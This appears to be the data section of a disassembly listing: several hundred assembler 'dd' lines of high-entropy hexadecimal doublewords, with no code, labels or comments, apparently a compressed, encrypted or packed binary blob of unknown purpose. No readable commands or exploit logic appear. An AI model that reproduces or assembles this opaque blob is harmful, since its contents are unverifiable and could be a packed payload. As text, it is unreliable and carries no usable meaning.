dd 36BA93A8h, 5AB0334Fh, 0B5029756h, 8903404Eh, 4539113h
dd 76080682h, 20FF5751h, 7D8DF3D5h, 0FFA571F0h, 4870E8CCh
dd 6A8D66FFh, 5EEA3B0Dh, 100295B2h, 429A5A22h, 0C3047697h
dd 8068BE0Fh, 0E144213Ch, 1C8E00ACh, 3D73CBAh, 1BB675FCh
dd 0AC395FC8h, 0C9D728C2h, 4C60C123h, 43892810h, 0F69EB8A8h
dd 0E1F9F5EEh, 5AD289F6h, 0FA818385h, 0FE7326FFh, 0D3EB030Bh
dd 3EBA51BEh, 96106466h, 3DBAF445h, 16F947C5h, 5EF6E266h
dd 0A8092EBh, 5C2DF5E7h, 10192671h, 123AA4EEh, 0C0BFB032h
dd 1CB25A5Eh, 0E85AE827h, 6208B83h, 0D4E040DCh, 0E402D081h
dd 0EC0FF804h, 23F75EFAh, 3A742097h, 0AA0090Bh, 205E9E7h
dd 4729E00Dh, 6AE702EBh, 1F8A5E04h, 0BF86BC0h, 77870F16h
dd 8524AE90h, 0A041F8A8h, 3031FB8Eh, 390A0C7Ch, 0B1B0077Fh
dd 311DE932h, 891BFF3Ah, 0A2051E3Fh, 9551BF46h, 1E742B03h
dd 0AFC58D48h, 0D4F988EEh, 0A0F6024Ah, 5B50374Ch, 12CEA4D8h
dd 0AAA7EB58h, 3421771Bh, 39F9E12h, 57CF0A2h, 0AE7EA514h
dd 89BE934Bh, 8A22B3B0h, 2D0A3A31h, 307A2CA0h, 0A435240h
dd 2898E0Fh, 7E450418h, 1C630C12h, 6579867Bh, 13728F30h
dd 59E9066Ah, 4F3CCFC8h, 0C0340B3Ch, 9A63210h, 92564C2Ch
dd 6D588C9Ah, 39D1959h, 4714B594h, 6CBFC28Bh, 5F39FD21h
dd 7E134915h, 0C316C67Eh, 9020B145h, 0FB6811F5h, 0AB0EEB12h
dd 4A23743Ch, 3F77E5C6h, 73191380h, 21FF8210h, 30EB80EEh
dd 0ECDE0CBCh, 2FE55A3Ah, 0B7F42A57h, 0B5670B9Ch, 22C23F41h
dd 1B5A6EF6h, 0DC060DBFh, 6FEF0D75h, 284ACFD4h, 0AFD071F3h
dd 1CC48D8Fh, 0DA341132h, 4704E88Bh, 82394B9h, 2D660AD4h
dd 0E9014412h, 5EEFD568h, 6118ED4Dh, 6ECD8D4Eh, 7A94E26Ah
dd 8D57EB04h, 8C89FE4Fh, 8C58A321h, 0B8C89344h, 0BD8664C4h
dd 86A17E8h, 0B265EB32h, 5CD91E0h, 0C2F68348h, 0F28C0F67h
dd 6CA0AF46h, 13C6E98Fh, 30290AEBh, 7F210E7Ch, 58E46A09h
dd 0B8E94F09h, 757518FDh, 0C1EB2544h, 748DD1D6h, 0DA9BB52Ah
dd 0DB7EBBFFh, 0B6C0146Ch, 8371CBB4h, 78358FCh, 4489E958h
dd 8481085Eh, 0CC4F0A3Ch, 0D5977580h, 6FE93B10h, 0DF5E25D2h
dd 0FF1B881Ah, 0F633AC30h, 0E22F7B95h, 17358E62h, 0B823EF1Ch
dd 3989FB6h, 1450FE81h, 0C37F7A29h, 515ABE9Ch, 9B625D19h
dd 18464A3Ch, 0D03847B4h, 2B423B4Fh, 19AC677Ch, 84387E32h
dd 6A41D9A4h, 20395818h, 150076A8h, 5BB7D80h, 0F7FE037Ch
dd 0B1C457DAh, 2148F426h, 13F4EB9Fh, 340F1288h, 0BC55A586h
dd 0C6BD706Bh, 0F237CBE0h, 50C0B302h, 12D6B7CAh, 0DF6AF032h
dd 0E4160D52h, 0DCE9C933h, 0D7D1550h, 3D8F702h, 0E0149648h
dd 18109519h, 2B07DC02h, 903D1C82h, 9D307EC2h, 0CBDB1AFDh
dd 8AB99CBCh, 9C550667h, 6590D4C8h, 0DB336009h, 97F47AB8h
dd 73C31692h, 2EC4E11h, 3D5EEB0Bh, 0F7BE62F5h, 0DD053E9h
dd 0A087FEE2h, 0A4E8277Dh, 0E7555A49h, 40C29220h, 0FBC6CAC6h
dd 9572B5EBh, 96F6E506h, 0AACABF4h, 450493C8h, 3222FA15h
dd 8617960Fh, 84D1687h, 5FE3010Bh, 0CC067189h, 9AB80259h
dd 920A4132h, 11A2E9ECh, 7E71A174h, 0C4C0E0F4h, 1EF51709h
dd 139C44A2h, 8949F640h, 24721293h, 91E148F7h, 0E2985EADh
dd 0D7AE9D45h, 0BEC813F0h, 894FABF2h, 66B820C9h, 57C9851Dh
dd 0CC192364h, 0E612E508h, 0E848E724h, 0EA22E991h, 89ECEB44h
dd 0FBEE11EDh, 3F3FEF01h, 0D02FAFB7h, 4306FEF0h, 4EB2D02h
dd 0AB869F0Dh, 0D213980Ch, 0B3C21E75h, 7F0F7F1Ah, 83C7152Fh
dd 31190A23h, 10308h, 65E93004h, 0BC666BFEh, 0B87A1908h
dd 0C7E9807Bh, 0B88F2EA5h, 0C7F9ACD2h, 2BFCF70Fh, 0B2769F40h
dd 15421C08h, 74099746h, 0AB728115h, 0E9EE295h, 682EC222h
dd 0F1A8640h, 76234267h, 38681D18h, 99438D23h, 656011AAh
dd 0FCAC05D1h, 0D36EE986h, 1D30682Bh, 6C94511h, 0FE18181h
dd 0CF9420B7h, 0E9002296h, 10C06918h, 4A4CDE4Dh, 9A708EEh
dd 9FE0F065h, 4E480C8Dh, 0FA55035Eh, 0B14DC96Bh, 0B4F4F67Dh
dd 4AEDFE01h, 0C1E3E4BCh, 4FE0FE4Bh, 0BF0F13F2h, 503A09C6h
dd 0C7E88468h, 80E2D9BFh, 0FA7D8166h, 724B3FFFh, 46E42105h
dd 558E1922h, 0F64C6A44h, 90013157h, 67707433h, 6D14647Dh
dd 7F7CF003h, 0F1E90817h, 7C2286D6h, 0BC155B83h, 5F5074B6h
dd 0FA4E7586h, 3F20EAF8h, 81ACFBDEh, 0FD081C89h, 5D2E75CCh
dd 4D817BF8h, 0F175591Ch, 17DF006Eh, 0E681DEF7h, 7E0A0491h
dd 6E911D0Dh, 0F3364E32h, 0DAF208F7h, 9A8022A8h, 50587E1Ch
dd 9C143EFAh, 12E4F075h, 2568A51Ch, 1A27E8ECh, 0CA501BF8h
dd 809A511h, 0F7A69F61h, 0CFFB164Ch, 9A3D8A13h, 0C257CA8Bh
dd 4A447A38h, 200A1F04h, 11488F0h, 7AF2B675h, 72628A58h
dd 0F90080E6h, 44B8D35h, 133B307Ch, 0F40F72C1h, 488806C9h
dd 0B4F14FEBh, 662C40CEh, 0E388EFFh, 0C92CC32Ah, 540B88h
dd 6480C008h, 0FC044F18h, 4061A6BAh, 0E99D300Ch, 5B93F498h
dd 0C8046DD9h, 63258030h, 3AA4FD05h, 97EDFAD3h, 0D8C7D89Dh
dd 9CB5974h, 90327446h, 28033F41h, 2A400A3Ch, 0D618FE06h
dd 6E22EB2Eh, 358B21F8h, 28956C14h, 0EB3205B8h, 13101A34h
dd 42722ACh, 40582718h, 0CFE8571Ah, 9C702DA1h, 0EFE4C070h
dd 0C380B19h, 83050209h, 75567E62h, 0B641AB46h, 728225BEh
dd 0D8DF64E8h, 5089F1ECh, 0C175F93Bh, 6F090B09h, 9F1DDAF4h
dd 255101E4h, 365FC306h, 9F154AE0h, 197F26EAh, 82148C41h
dd 0E4D50826h, 2839C3BFh, 2B5890A1h, 0D9435D6h, 7D6840EAh
dd 40148D1Eh, 0A6150EBDh, 30252095h, 0C2062283h, 752F490Ch
dd 1411D4F7h, 0E274B20h, 0D6447CF9h, 1D6F0EA1h, 0AAEFF766h
dd 0A134678h, 7B89082Ah, 0DA106BBDh, 0AF2988A3h, 56135B12h
dd 1CB27CF9h, 0A016421Ch, 0C9503905h, 7DFEF490h, 0FC1409DAh
dd 24B0C47Eh, 0B24F78F8h, 745709EBh, 1B062365h, 5064EB39h
dd 27E8821Bh, 95103ABh
dd 9A1E5014h, 0DC918936h, 2885AF88h, 5D2BA03Eh, 0F8FD5981h
dd 2612FD2Ah, 0E518412Fh, 18C73B1Fh, 22177659h, 38033C80h
dd 570F753Dh, 2C2A2D53h, 0CEE84F56h, 0C04C689h, 168D38E1h
dd 0AE013844h, 3CAE7B64h, 5A4A73E9h, 509DF9E7h, 4C8A1A54h
dd 9BA77508h, 88969F3Eh, 9D025A4h, 24075BEDh, 0E1E00575h
dd 350DEB7Fh, 0AF167C81h, 11F71797h, 7629C9F7h, 0A88835Bh
dd 65872566h, 4A63A803h, 0EBC563B2h, 0D76CE60Ah, 0ACB51AFCh
dd 0C5668FCCh, 8E160A4Bh, 0D3EC8182h, 26E498BEh, 0F9E60A46h
dd 0F41BA4Ah, 0C223F833h, 5081CAC8h, 6A667EE7h, 12C3243Dh
dd 0FE84201h, 0B4E4B883h, 22F98136h, 0FAD4316h, 64BFFDFAh
dd 0A167A287h, 8B04773Fh, 8E3AEBA6h, 258ABBADh, 95D87F02h
dd 5615C197h, 2C62606Ch, 8C414639h, 0C0D5D60Bh, 0DA6FE9F6h
dd 0C97D205Bh, 1F421EB1h, 39160153h, 113A9D43h, 0DA170357h
dd 62B237EBh, 0E25FE906h, 0A2E7D1B8h, 0D4F89798h, 62050C22h
dd 0C003208Bh, 28B6585Dh, 98EA497Eh, 0E2084E8Fh, 89BD7EDEh
dd 5113FD76h, 0D012186Bh, 906CE7Ch, 18C1AFC6h, 0F383FC3Ah
dd 0FF505101h, 0F39CE831h, 6CB037Dh, 18FC9629h, 0A10256B3h
dd 0C0D2F46Dh, 6675E8E3h, 12FC1AC8h, 0C18B0D9h, 9C7F5940h
dd 292A081h, 2E88B9C0h, 257E0B52h, 80E7BE82h, 0B1FEC58Bh
dd 0D68FD446h, 1120C93Bh, 48E27F1Eh, 16A63907h, 2B9A0E8Bh
dd 1E50E5E3h, 0ACE0192h, 0DC7CB98Bh, 2325FDE2h, 0C14148ECh
dd 0AD0C4B97h, 97EC4EEAh, 38D71F44h, 7978341Dh, 970F7728h
dd 5D106FF9h, 1A3D36F1h, 3575330Ah, 67F7DE42h, 6A65672Ch
dd 0E2323DAAh, 0DC0E1D14h, 51E65733h, 31574146h, 7A0E0FB9h
dd 0D2E6252h, 7DDB10CAh, 46E25BF4h, 338BDE24h, 1B73A7A8h
dd 0D3FB47EDh, 89E1C70Bh, 3B10A80Eh, 0C024E32h, 1E0606E4h
dd 8EEBD9A1h, 89DFF736h, 8D2A55FFh, 712E25D7h, 8908C7CDh
dd 2268364h, 0DF087E68h, 53022AC7h, 0CBAA10BBh, 0EBB1FF6Bh
dd 16203960h, 7D632F74h, 70BBC2A1h, 0F72886ABh, 881489D8h
dd 51751017h, 9DFF7106h, 56412202h, 0C3832257h, 4284B862h
dd 7CBC203h, 277466C0h, 170B8D4Ah, 0C2BA8D81h, 72D59131h
dd 357DD830h, 0B02A5F4h, 0C1D0F664h, 9199F6B5h, 22C35E72h
dd 577F7EC9h, 0D44B7CC3h, 5D4093E5h, 0CF64EAEDh, 0D6966BFh
dd 7E758BB5h, 0B81C711h, 7BFB9FDh, 6FE5B92Fh, 0FEDDDE5Ah
dd 58A9646Dh, 0E1D3BC8Bh, 0E026B53h, 0E24E74C7h, 0BF11D4B8h
dd 0EB6A03E4h, 98837486h, 3BE81684h, 55530EEFh, 8D5B0DC5h
dd 7E883FB1h, 553EC62Fh, 36E24250h, 87DA22AAh, 0A8B97697h
dd 0D5D295AEh, 6BB58A90h, 755713C0h, 9A26FDB8h, 130FDCDCh
dd 8F62AEF5h, 30911F1Ch, 0FD2FB93h, 81EAD6B9h, 5740755Fh
dd 81D43AB8h, 0E0B08813h, 81517FFh, 82DCED10h, 26B9203Dh
dd 98103A23h, 0CA243B1h, 3CE25D1Ah, 0C1888229h, 0EA133421h
dd 0F33B65D0h, 0A4104E7Eh, 0FA27E8F1h, 0F45A2B01h, 39148312h
dd 2A5E1C5Dh, 0E81572F3h, 0A4B17E3h, 2535A104h, 481B5AE9h
dd 67BF561Ah, 897A3BF2h, 0F255ADA7h, 899D781Ah, 0F1CE7E5Dh
dd 974C663h, 9834A765h, 575B35FBh, 788DF079h, 927D27A1h
dd 44EC07D2h, 133B6C28h, 0B417FF7h, 0BFCC4D3h, 0B1119862h
dd 194451AFh, 0B800A212h, 7202C47Dh, 0CA3EC322h, 74995D38h
dd 0BC16B1Ah, 842FD33Ah, 0A732871Ah, 72089109h, 76CAF404h
dd 5240AD2Dh, 0FCE64FA3h, 0BEA529ACh, 7B313115h, 209D468Eh
dd 72184396h, 0BF860F80h, 35888D72h, 7A67E9E2h, 0D11A5317h
dd 0FF096A42h, 0BAB23214h, 4A6B29B7h, 2C68F6EAh, 4B592723h
dd 0FC58CE8Bh, 0A16F187h, 554CDB34h, 9C555412h, 78DC8507h
dd 1AFD8A93h, 575C06DAh, 358B21B7h, 6A34C42Dh, 0C849E479h
dd 88D64474h, 2B92E07Ah, 0F6E1615Fh, 2942CA7Eh, 65BD6F5Fh
dd 6CFED82Ah, 0F6E5DB42h, 0FB680933h, 1B882D74h, 0F2F66B4Ch
dd 2EAF16D1h, 736E59DBh, 0B4A2BAB8h, 12FE943Eh, 8540D008h
dd 8D2656D2h, 0D17AC4Ah, 4A80ED84h, 4BF18B40h, 0F3C00C49h
dd 5EC5E1Bh, 503F2B6Ch, 0DD3B7C2h, 0F5666AADh, 6AC6000Fh
dd 0E817B73Dh, 0B0A3022Dh, 3F2BF726h, 4AF8F82Fh, 257E26DDh
dd 0A9E5A8A1h, 0FFB402Fh, 1AC34B94h, 697D1D98h, 52329B96h
dd 901CA328h, 5475342Eh, 19ECC388h, 21713DAAh, 8AE81102h
dd 99C4DDFCh, 0B9A73E5Eh, 16DF3B13h, 6AE7E536h, 58ADD9F0h
dd 39D16057h, 89DF7405h, 75342138h, 92379113h, 0C43345D1h
dd 0FC142B36h, 55283D8Bh, 381A634Bh, 419E53D0h, 437CCCCCh
dd 483F8332h, 373703Eh, 0B734FF32h, 0E8993C8Dh, 59632407h
dd 2B0B15A1h, 5F46FA82h, 0EB3DD572h, 74C6AFF0h, 0F0764976h
dd 0D16ECC0Bh, 3C74826Fh, 235535EBh, 0C3B70484h, 757C1A32h
dd 0E8F0987Ah, 2DA9DE48h, 8255A9B5h, 9AA4E865h, 40F68428h
dd 834CF5BFh, 83B00C54h, 85049B64h, 7A4B134h, 8B48EF74h
dd 77564C0Dh, 0DE3C0694h, 660BF65Ah, 0FC312EB4h, 550433E8h
dd 2BF3C623h, 0B95C874h, 0ECF703Eh, 1BDBF740h, 23D3045Dh
dd 159AD1D8h, 6E916E04h, 0E9525BE8h, 0B55FD059h, 639CD852h
dd 4E31C4E9h, 0B5C9D72Dh, 765CC50h, 0FA7FB4Eh, 8A380D30h
dd 3C2E3804h, 84197F3Dh, 79761A46h, 0CED72F66h, 3C052B28h
dd 0D5F8C127h, 2DC31625h, 0BAFB0410h, 85C94230h, 893694FFh
dd 1A24C35Fh, 7418808Dh, 104B8B0Ah, 7B7844B5h, 5553F60Ah
dd 0E80435F6h, 0C618CA54h, 0DFEEAA53h, 762DA890h, 27055D8Ah
dd 139441DFh, 20C38350h, 53C0879Ch, 38B0689h, 0EBF9C459h
dd 3F18B1E9h, 5F2F83B2h, 75C2CAD1h, 1A9F6C0Fh, 7B6902E8h
dd 0AB4662DDh, 7484F83Dh, 3A89CC01h, 6EB7D010h, 0B0F798A8h
dd 97D2970Eh, 0C07B86B7h, 0F43AF12Eh, 3926C24Bh, 110F3E45h
dd 0D02439EBh, 14BE55E9h, 0C6A5413Dh, 868DEA27h, 29D20AFFh
dd 0C22B4181h, 0F04BC93Dh, 5D4AC1ACh, 14B165AEh, 8717490Eh
dd 122AE254h, 0DD725559h, 83CCA20Bh, 7C7F8953h, 28CC6544h
dd 0A024B801h, 0E8047B0Bh, 55905C36h, 258A30ECh, 23F5F345h
dd 0CF88E0FFh, 4616E831h, 24BE8720h, 42991C78h, 50275437h
dd 38ED338Dh, 93DF2DADh, 4D06E418h, 75BC4CC4h, 0A868034Fh
dd 5052191Fh, 936C12C7h, 0B6A9E863h, 0B4B85E0Ah, 5BDC085Ah
dd 484D5026h, 50F17B51h, 0DEEC3F60h, 0B188844Ah, 2D034843h
dd 8C4D0288h, 8AEE0C7Eh, 0CF02037Eh, 9FE80788h, 35260E45h
dd 1ED38F98h, 3C1AD8A9h, 0A6702044h, 8C06C714h, 38C62C13h
dd 57EBD9A6h, 42F7BF62h, 5F2A08Eh, 9D1258B8h, 1CA73075h
dd 0E496A051h, 786743E8h, 20186811h, 0D571627Eh, 8E91C8B8h
dd 0C46A094Eh, 0F0870ACCh, 2F7E4851h, 0C4EB880h, 0F0D627E8h
dd 57CE7362h, 0E7CA5D52h, 0C3C6695Eh, 0BBE82665h, 2D7A5F8h
dd 55740190h, 5B254182h, 0D12BC611h, 41DCB80Dh, 145AF559h
dd 6F0CA2BEh, 0E8BF1858h, 8A8BC25Eh, 61890C43h, 0E2F4290Eh
dd 0BFC4E0D0h, 465C7844h, 0F0B8F143h, 12985D42h, 7108B61Fh
dd 0A375944h, 2AF21094h, 0F3A69B3Ah, 0D3554261h, 52429E23h
dd 39D2165Ah, 218D8BACh, 0D2E2A941h, 0A2B9EB23h, 220A450Ch
dd 43EAA12Ch, 0B18AC12h, 0C888552h, 0FDEAF044h, 0D010C6FFh
dd 0A0428C20h, 8A01D410h, 0B00A5A18h, 21D6E859h, 4F624389h
dd 62C81501h, 17914BFh
dd 426ABCE8h, 0FE39B159h, 8485A008h, 0F12405F6h, 15EB7C0Dh
dd 4B090D80h, 2A8558AFh, 888ECCC0h, 0C50CE909h, 0ACC6682Bh
dd 0D8E80C9Bh, 0A4C3A75Ch, 7FCC430Ch, 0CD82527h, 8A540CE3h
dd 505F8212h, 0BF82853Fh, 0FDC95821h, 91F16699h, 0B04EC8FCh
dd 5058CD9Bh, 460BCABAh, 4983DC25h, 2E0ABD86h, 4FC522C4h
dd 46C70B5Fh, 284968DCh, 95543D26h, 5CDBA9F0h, 2574A966h
dd 0E8C60F6Eh, 0C3844874h, 0D913385Bh, 557C2431h, 5810F849h
dd 4A3168F6h, 0C1FF8364h, 4001C725h, 0FF097446h, 467C7165h
dd 0A983A225h, 5D8CD541h, 911C45D0h, 0AC4FE83Eh, 5107C461h
dd 7C39AB87h, 12DB684Fh, 0D5D68E3h, 0F525DBA7h, 574BDA94h
dd 0F0BE1F81h, 85557DA7h, 81F6A5CCh, 0F45FE45Bh, 4095C69Fh
dd 0D1B7E0E4h, 908DA0AEh, 0CC8A81F5h, 16C8CA20h, 523F8BE9h
dd 83380E17h, 2949014Bh, 0CD313B08h, 2D9775E9h, 1EB308C3h
dd 543E903Dh, 5867C059h, 555FB414h, 576278FEh, 84CCB811h
dd 0C337211Dh, 19211F1Ch, 0BD90A415h, 0E3203728h, 1B011442h
dd 5AECA43Dh, 0E0B8A691h, 53ED1441h, 14CCF018h, 442829FEh
dd 0BD85D920h, 10502142h, 44A8B7C5h, 1AB12278h, 3ED36402h
dd 2B14F42Eh, 42BD289Dh, 22210811h, 15FE189h, 26D8F0BEh
dd 64F4E002h, 48E2082Ah, 22C091D0h, 82A044B0h, 5E126E89h
dd 3A484C24h, 1C222C91h, 40F00A44h, 0BE89D829h, 0B2237411h
dd 24920961h, 91C848ACh, 44EE22DEh, 24400CF6h, 12268918h
dd 48462432h, 226A9154h, 9E8E447Ch, 0BC12AE89h, 0DE48D224h
dd 1010F691h, 44202225h, 5C894432h, 9C247412h, 0C491B448h
dd 0EA44D622h, 530C89FCh, 9221AD4h, 523C442Ch, 6E126089h
dd 9C488024h, 0C222B291h, 88FAE844h, 1C81270Eh, 42242C12h
dd 5E915048h, 82446C22h, 12A4898Eh, 48C624B4h, 22E891D2h
dd 281020FCh, 89362244h, 244E1242h, 9174485Ah, 44922284h
dd 0C489B6A4h, 0EC24DE12h, 888FA48h, 7F181129h, 46123A89h
dd 66485624h, 7C227291h, 8AA48844h, 6740106h, 9738032h
dd 480A2415h, 220D9102h, 16344401h, 97121289h, 9480B24h
dd 4221791h, 89131044h, 8A1403h, 54454703h, 48932F20h
dd 605067AFh, 0D302E31h, 6F090A7Ah, 0E3A7473h, 4114B86Dh
dd 0FA68F275h, 7A691D72h, 6177FA61h, 654E266Eh, 146EFB67h
dd 681DF51Ah, 1C614004h, 78571C7h, 4A553F8Ch, 6708C501h
dd 64B489F5h, 7309600h, 0E612C77h, 51BA01EEh, 0C4199909h
dd 0F48FF46Dh, 35706A00h, 0A3E963A5h, 9E640095h, 0EDB8832h
dd 0DC1FB8A4h, 0D58F1E79h, 0D2D960E0h, 4C2B97h, 7CBD09B6h
dd 2D077EB1h, 91E7B800h, 6490BF1Dh, 0B77610h, 6AB020F2h
dd 0F3B97148h, 0BE41DE00h, 0DAD47D84h, 0E4EB031Ah, 0B5516DDDh
dd 85C7F4C8h, 5683D300h, 0C0136C98h, 646B00A8h, 0FD62F97Ah
dd 6500C9ECh, 15C4F8Ah, 386CD914h, 3D806306h, 0DF5FA0Fh
dd 0C8008D08h, 5E3B6E20h, 4C6910h, 0D56041E4h, 0A2677172h
dd 300D179h, 4D4473Ch, 85FD4Bh, 0B56BD20Dh, 0A8FAA50Ah
dd 6C0035EAh, 0D642B298h, 7DBBBC9h, 0ACBCF940h, 32D8D0E3h
dd 0DF005C75h, 0D60DCF45h, 13D59DCh, 30ACABD1h, 203A26D9h
dd 807251B2h, 16C8D700h, 0B5BFD061h, 21B400F4h, 56B3C423h
dd 0BA019599h, 0BDA50FCFh, 2C89EB8h, 88080028h, 0D9B25F05h
dd 2400C60Ch, 87B10BE9h, 2F6F7Ch, 58684C11h, 0C1611DABh
dd 662D3D00h, 0DC4190B6h, 71060076h, 20BC01DBh, 2A0198D2h
dd 89EFD510h, 1FF8B185h, 6B600B5h, 9FBFE4A5h, 0B800D433h
dd 7C9A2E8h, 9FF93478h, 0A80067F0h, 98189609h, 0BBE10Eh
dd 2D7F6A0Dh, 97086D3Dh, 91646C00h, 0E6635C01h, 6B5138F4h
dd 4061629Fh, 6530D81Ch, 0E8E14E85h, 953EEDF2h, 0A57B8006h
dd 0F4C11B01h, 57820008h, 0C6F50FC4h, 6500B0D9h, 12B7E950h
dd 0BEB8EAh, 0B9887C8Bh, 0DD1DDFFCh, 2D496203h, 0E8F315DAh
dd 658CD3h, 58FBD44Ch, 0CE4DB261h, 3A4C2D90h, 0A3BC0038h
dd 0D4BB30E2h, 0DFA50341h, 0D895D74Ah, 0D1C4C400h, 0D6F4FBA4h
dd 0E96A00D3h, 0D9FC4369h, 4600346Eh, 0D0AD6788h, 0DA60B8h
dd 44042D73h, 33031DE5h, 0A4C5F00h, 0D7CC9AAh, 713C0FDDh
dd 41215005h, 0C4102702h, 8600BE0Bh, 25C90C20h, 1E5768B5h
dd 806F85B3h, 0B966D409h, 6100E49Fh, 0DEF90ECEh, 1DC9985Eh
dd 402229D9h, 0A8B4B0D0h, 1703C7D7h, 8159B33Dh, 3B2ED00Dh
dd 0B7BD055Ch, 0FBBA6CADh, 0EDB88900h, 1DBFB3B6h, 9DE20C9Ah
dd 0B1D24003h, 0D5473974h, 77AFEA1Eh, 26159D40h, 8304DBh
dd 1273DC16h, 84E3630Bh, 94643B00h, 0D6D6A3Eh, 7F5A75A8h
dd 0ECF007Ah, 9FF9DE4h, 0AE5C2793h, 9EB10363h, 0D0447D07h
dd 0D2F00Fh, 688708A3h, 0FE1E01F2h, 6906C200h, 0F762575Dh
dd 656700CBh, 6C367180h, 6BFEE719h, 1B766E02h, 0FDE0FED4h
dd 7A5A23E0h, 0CC10DA04h, 0A4C0DD4Ah, 0E2F9B9DFh, 8EBE1CEFh
dd 17B7C743h, 60B060D5h, 0D671A3E8h, 0D1937E00h, 0D8C2C4A1h
dd 0F2520138h, 67F14FDFh, 5798F7BBh, 0DD00A6BCh, 4B3FB506h
dd 48B236h, 0D80D2BDAh, 0AF0A1B4Ch, 34AF61Fh, 47A6080h
dd 0ECEFC341h, 3B5572DFh, 8E80A867h, 0BE79316Eh, 8C004669h
dd 1ACB61B3h, 0BC6683h, 256FD2A0h, 5268E236h, 0C779500h
dd 0B4703CCh, 16B900BBh, 262F2202h, 0BE075505h, 28C5BA3Bh
dd 92B2BDF0h, 2BB4005Ah, 5CB36A04h, 0D700FFA7h, 0D0CF31C2h
dd 19E8BB5h, 0AE1D2CD9h, 0F8B05BDEh, 26009B64h, 9CEC63F2h
dd 1756AA3h, 26D930Ah, 0EC0906A9h, 0E00363Fh, 76785EBh
dd 0E0571372h, 4A820005h, 7A1495BFh, 0AE00E2B8h, 387BB12Bh
dd 0CB61Bh, 92D28E9Bh, 0E5D5BE0Dh, 0DCEFB700h, 0DBDF217Ch
dd 0ED47F0Bh, 0E24286D3h, 0B3F8F1C0h, 6E0068DDh, 0CD1FDA83h
dd 81BE16h, 0F6B9265Bh, 6FB077E1h, 0B70947E6h, 805AE618h
dd 0F6A707Eh, 3BCA00FFh, 0B5C6606h, 9EF21101h, 698F6501h
dd 0D3F862AEh, 98616BE4h, 166C00C5h, 0A00AE278h, 0D00D2EEh
dd 48354D7h, 0B3C24Eh, 26613903h, 16F7A767h, 4DD06000h
dd 0DB496947h, 3E6E0077h, 0AED16A4Ah, 0D6005ADCh, 0DF0B66D9h
dd 1F3BF040h, 805337D8h, 9EC5A9BCh, 7F00DEBBh, 0E947B2CFh
dd 1C30B5FFh, 43BDF21Ch, 0CABAC28Ah, 53B393C8h, 0B4A3A601h
dd 0D0360524h, 0D706D8F7h, 572900CDh, 67BF54DEh, 2E0023D9h
dd 0B8B3667Ah, 0C4614Ah, 5D681B02h, 2A6F2B94h, 0BBE3700h
dd 0C8EA1B4h, 2DFFEC3h, 0EF8D5A05h, 2EC2D02h, 0A210505Ch
dd 0F00790BFh, 3FF613Fh, 0C0417BEFh, 8CE7C03h, 0C9071A06h
dd 1CB710C1h, 7302D710h, 2214504h, 30350D05h, 202F0074h
dd 58F03828h, 1C080738h, 575E3037h, 3F216E7Ch, 60EA1728h
dd 3D96872h, 78C57012h, 45EE03BFh, 8DBF3C1Bh, 541F30Fh
dd 0C128C10Fh, 0C175C16Eh, 2905956Ch, 0FE283F7Ah, 1738FBFBh
dd 4C47835Fh, 0A741424Fh, 0AB454883h, 0AF53EB50h, 5443E7DEh
dd 180F44A5h, 6F56AF4Dh, 1EA49152h, 6E79CC38h, 8A3109h
dd 65726694h, 29706F78h, 646F6D02h, 79681CA3h, 1174A6FFh
dd 6261630Dh, 0BB312173h, 3F912009h, 17506866h, 716C104Ch
dd 6372446Fh, 7069653Dh, 0DF617488h, 366F1BA8h, 0D810FD97h
dd 43FF7271h, 2B296114h, 10A20832h, 7E3C42D1h, 0CA344BD0h
dd 2F340868h, 2C2F085Ah
dd 2967B608h, 28083031h, 0E11A900Fh, 0EBB78254h, 17EC0C0h
dd 11D34150h, 473C6BF8h, 0A73491Fh, 3B896F72h, 4692A177h
dd 75DA28DBh, 1C20DBD3h, 85906ED2h, 5228454Bh, 3328F94Eh
dd 651C3532h, 4579302Bh, 408CB048h, 9DC96AFh, 8A01029h
dd 10B11229h, 10B0F00Ch, 1808D1FAh, 10B34219h, 2894D246h
dd 0AD19A467h, 7DD0384Ah, 69668CB4h, 8E086D11h, 22D34718h
dd 18C368BFh, 20035ABDh, 203AC749h, 312C524Dh, 0C80111FDh
dd 7572088Ah, 6D6903B3h, 9A972065h, 0C9763ECFh, 0D6075450h
dd 490E1A53h, 49FAA444h, 0F474E29h, 4F44026Eh, 4EFC854Dh
dd 0C521228h, 38323036h, 206A2D12h, 6C19A690h, 0DB717490h
dd 0A62D5247h, 7A76E7F7h, 0F068731Ch, 8138A470h, 6E083728h
dd 7CD8EA90h, 7B67750Ah, 70732468h, 6648339Eh, 7776F150h
dd 0D2396952h, 380A33C9h, 446F8D73h, 216F6474h, 5D701235h
dd 6976499Bh, 441B1E8Fh, 63A66840h, 6DCF24A3h, 5243FB1Ah
dd 60342928h, 56A45FF9h, 2FBA3309h, 407B241h, 71E324DDh
dd 5E393160h, 707772F8h, 4364B3DAh, 0C3214813h, 2C94E86Fh
dd 4B3238B2h, 821D9D57h, 1A356492h, 24025869h, 6D583E37h
dd 0E5AD416Bh, 61C04368h, 63221850h, 95306B57h, 350DB918h
dd 6806CBCAh, 31A3065Fh, 246D7244h, 82CF7001h, 6DBD3F67h
dd 42FE9642h, 0E230BC37h, 0ED50A739h, 56425622h, 68E06D4Dh
dd 38912C5Eh, 0F59FE3ADh, 73290975h, 61A26014h, 0BDAC2C09h
dd 67516EDFh, 0C79E383h, 25513BABh, 80B1CA27h, 0A82E214Dh
dd 66673AC2h, 0F2AE562Ch, 2B43AB21h, 6E52DAC7h, 514C759Dh
dd 79C9B562h, 460A2843h, 4524175Dh, 2421460Fh, 19D55056h
dd 2E41203Ah, 3C2902B8h, 36E148E6h, 6B6B5A4Dh, 9CAA89DAh
dd 0DB8C2008h, 53099066h, 0D54D5036h, 5165EC54h, 68D98657h
dd 167246F4h, 22615369h, 24E24AC0h, 4D62D460h, 9241E4CDh
dd 0F6790C9Fh, 6C7C064Eh, 6553E6A0h, 994F7024h, 766F4E03h
dd 4C7ACF44h, 85A540Ch, 5C74F647h, 4D745C4Ch, 762E5741h
dd 1C032403h, 8414AA75h, 0EA575010h, 5D4CBA64h, 611F274Dh
dd 0D8429E67h, 2331E878h, 724E513Bh, 4611A6E1h, 829461Ch
dd 53CD4410h, 0D0A01831h, 34420238h, 0C4408D4h, 430C033Fh
dd 1D407809h, 6E0840A8h, 0D98B0740h, 2272E611h, 7177484Dh
dd 12DC4792h, 0D541B018h, 7B788C07h, 1EE03CA4h, 0A4099080h
dd 11736C14h, 26B27662h, 3C861790h, 0D9CF89A3h, 30830193h
dd 0A125110h, 5509CB32h, 0D7A12E4Ch, 70CF2078h, 27B1EABh
